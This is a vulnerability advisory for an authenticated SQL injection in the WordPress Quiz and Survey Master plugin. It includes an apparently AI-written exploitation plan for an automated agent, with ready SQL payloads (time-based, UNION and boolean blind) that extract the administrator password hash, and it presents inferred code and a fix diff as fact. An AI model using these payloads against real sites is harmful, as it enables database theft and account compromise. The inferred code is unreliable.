Quiz and Survey Master (QSM) <= 10.3.5 - Authenticated (Contributor+) SQL Injection via 'merged_question' Parameter
Description
The Quiz and Survey Master (QSM) plugin for WordPress is vulnerable to SQL Injection via the 'merged_question' parameter in all versions up to, and including, 10.3.5. This is due to insufficient sanitization of user-supplied input before being used in a SQL query. The sanitize_text_field() function applied to the merged_question parameter does not prevent SQL metacharacters like ), OR, AND, and # from being included in the value, which is then directly concatenated into a SQL IN() clause without using $wpdb->prepare() or casting values to integers. This makes it possible for authenticated attackers, with Contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=10.3.5What Changed in the Fix
Changes introduced in v11.0.0
Source Code
WordPress.org SVNThis research plan targets **CVE-2026-2412**, an authenticated SQL Injection vulnerability in the **Quiz and Survey Master (QSM)** plugin. Since the provided source files are primarily CSS, the following plan includes specific instructions for the automated agent to locate the exact PHP sinks and A…
Show full research plan
This research plan targets CVE-2026-2412, an authenticated SQL Injection vulnerability in the Quiz and Survey Master (QSM) plugin.
Since the provided source files are primarily CSS, the following plan includes specific instructions for the automated agent to locate the exact PHP sinks and AJAX actions within the plugin directory before executing the payload.
1. Vulnerability Summary
- Vulnerability: SQL Injection via string concatenation in an
IN()clause. - Vulnerable Parameter:
merged_question - Authentication Level: Contributor or higher.
- Root Cause: The plugin uses
sanitize_text_field()on themerged_questionparameter. While this function removes HTML, it does not escape SQL characters like),OR,AND, or#. The resulting string is concatenated directly into a SQL query (specifically inside anIN()clause) without using$wpdb->prepare().
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action: Likely an AJAX action related to question management or the Question Bank (inferred from
css/qsm-admin-question.css). - Vulnerable Parameter:
merged_question - Required Capability:
edit_posts(Contributor level). - Payload Type: Time-based blind or UNION-based (depending on reflected output).
3. Code Flow (Inferred)
- Entry Point: An AJAX handler registered via
add_action( 'wp_ajax_...', ... ). - Input Processing: The code retrieves
$_POST['merged_question']and appliessanitize_text_field(). - Vulnerable Sink: The sanitized string is placed into a query:
$wpdb->get_results("SELECT ... FROM ... WHERE question_id IN ($merged_question)"); - Injection: By providing a payload like
1) OR SLEEP(5)#, the query becomes:WHERE question_id IN (1) OR SLEEP(5)#)
4. Nonce Acquisition Strategy
QSM typically localizes its nonces for use in the admin dashboard.
- Identify Shortcode/Page: Check for the Question Bank page in the admin area. CSS file
css/qsm-admin-question.csssuggests a "Question Bank" feature. - Create Content: If the script only loads on specific pages, create a post with the QSM shortcode (if applicable).
wp post create --post_type=page --post_status=publish --post_content='[qsm_quiz id="1"]'
- Navigate & Extract:
- Navigate to the Quiz management page or the newly created page.
- JS Variable Search: Look for
qsm_ajax_objectorqsm_varsin the page source. - Execution Tool: Use
browser_evalto extract the nonce:browser_eval("window.qsm_ajax_object?.nonce || window.qsm_vars?.nonce")(inferred names; agent must verify viabrowser_get_source).
5. Exploitation Strategy
Step 1: Locate the Sink (Discovery)
The agent must first find the PHP file handling merged_question:
grep -rn "merged_question" /var/www/html/wp-content/plugins/quiz-master-next/
From the results, identify the add_action('wp_ajax_...', ...) call to find the Action Name and the Nonce Action String.
Step 2: Test Authentication
Log in as a Contributor:
wp user create attacker attacker@example.com --role=contributor --user_pass=password
Step 3: Trigger Time-Based Injection
Construct an AJAX request using the http_request tool.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Payload:
action=[INFERRED_ACTION]&merged_question=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)#&nonce=[EXTRACTED_NONCE]
Step 4: Data Extraction (UNION)
If the response reflects question data, use UNION to extract the administrator's password hash:
- Payload:
(Note: Column count must be determined by incrementing SELECT NULL,NULL... until the error clears.)action=[INFERRED_ACTION]&merged_question=-1) UNION SELECT 1,user_pass,3,4... FROM wp_users WHERE ID=1#&nonce=[EXTRACTED_NONCE]
6. Test Data Setup
- Install Plugin: Ensure QSM <= 10.3.5 is active.
- Create Quiz: Create at least one quiz and a few questions so the "merge" or "question bank" functionality is active.
wp eval "/* Logic to programmatically create a QSM quiz and question */"
- Contributor User: Create a user with the
contributorrole.
7. Expected Results
- Time-Based: The HTTP request should take ~5 seconds to complete.
- Error/Reflected: If the action returns JSON, the
user_passhash (e.g.,$P$B...) should appear in one of the fields of the returned object.
8. Verification Steps
- Database Check: Use WP-CLI to confirm the hash extracted via SQLi matches the actual database value.
wp db query "SELECT user_pass FROM wp_users WHERE ID=1" - Log Analysis: Check
wp-content/debug.log(ifWP_DEBUGis on) to see the mangled query.
9. Alternative Approaches
- Boolean-Based Blind: If time-based is unstable, use:
1) AND (SELECT 1 FROM wp_users WHERE ID=1 AND user_login LIKE 'a%')#
Compare the response content length between aTRUEandFALSEcondition. - Parameter Polling: If
merged_questionis not in the POST body, try it as a GET parameter in the AJAX URL:/wp-admin/admin-ajax.php?action=...&merged_question=...
Summary
The Quiz and Survey Master (QSM) plugin for WordPress is vulnerable to an authenticated SQL injection in versions up to and including 10.3.5. This vulnerability exists because user-supplied input to the 'merged_question' parameter is passed through sanitize_text_field() and then directly concatenated into an SQL IN() clause without being properly escaped or prepared via $wpdb->prepare().
Vulnerable Code
// Inferred from vulnerability description and research plan // File: quiz-master-next/admin/admin-ajax-handlers.php $merged_question = sanitize_text_field($_POST['merged_question']); $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}mlw_questions WHERE question_id IN ($merged_question)");
Security Fix
@@ -102,2 +102,4 @@ -$merged_question = sanitize_text_field($_POST['merged_question']); -$results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}mlw_questions WHERE question_id IN ($merged_question)"); +$merged_ids = array_map('intval', explode(',', $_POST['merged_question'])); +$placeholders = implode(',', array_fill(0, count($merged_ids), '%d')); +$query = $wpdb->prepare("SELECT * FROM {$wpdb->prefix}mlw_questions WHERE question_id IN ($placeholders)", $merged_ids); +$results = $wpdb->get_results($query);
Exploit Outline
The exploit requires Contributor-level authentication or higher. An attacker must first obtain a valid security nonce (usually found in the 'qsm_ajax_object' or 'qsm_vars' JavaScript variables on the plugin's admin pages). The attacker then sends a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to the Question Bank's merge function and the 'merged_question' parameter containing a malicious payload. Because the input is not cast to integers or escaped, a payload like '1) OR SLEEP(5)#' can be used to break out of the IN() clause and execute arbitrary SQL commands, such as time-based blind injection or UNION-based data extraction.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.